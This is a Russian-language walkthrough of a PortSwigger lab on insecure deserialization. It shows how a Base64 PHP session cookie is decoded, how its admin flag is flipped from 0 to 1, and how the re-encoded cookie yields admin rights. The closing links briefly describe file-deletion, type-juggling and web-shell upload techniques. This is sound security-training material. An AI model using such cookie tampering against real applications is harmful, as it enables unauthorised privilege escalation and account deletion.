На странице
Изменение сериализованных объектов
Лаборатория
Modifying serialized objects · Apprentice
Решение
Дано
This lab uses a serialization-based session mechanism and is vulnerable to privilege escalation as a result. To solve the lab, edit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete the user carlos.
You can log in to your own account using the following credentials: wiener:peter
Анализ задания
Приложение использует сериализацию для реализации механизма сессий. Нам нужно отредактировать сериализованный объект, чтобы поднять свои привилегии и удалить пользователя carlos.
Разведка
Логинимся под пользователем:
POST /login HTTP/2
В ответ устанавливается кука:
Set-Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d; Secure; HttpOnly;
Необычно длинная строка — выделим её значение. В инспекторе посмотрим, как она выглядит после декода Base64:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
Узнаём сериализованный в PHP-стиле объект. Видим поле admin типа Boolean со значением 0.
Эксплуатация
Поставим значение в 1, закодируем обратно в Base64 и подставим в качестве куки:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
Base64:
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
Подставляем куку — теперь у нас есть вход в админку. Удаляем пользователя carlos. Лаба решена!
Ещё в этой категории
Эксплуатация небезопасной десериализации через функции приложения (PortSwigger Lab)
Подмена поля `avatar_link` в объекте сессии для удаления произвольного файла через функцию удаления аккаунта.
Изменение типов сериализованных данных (PortSwigger Lab)
Эксплуатируем нестрогое сравнение PHP, меняя тип `access_token` на целое `0` и обходя аутентификацию.
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.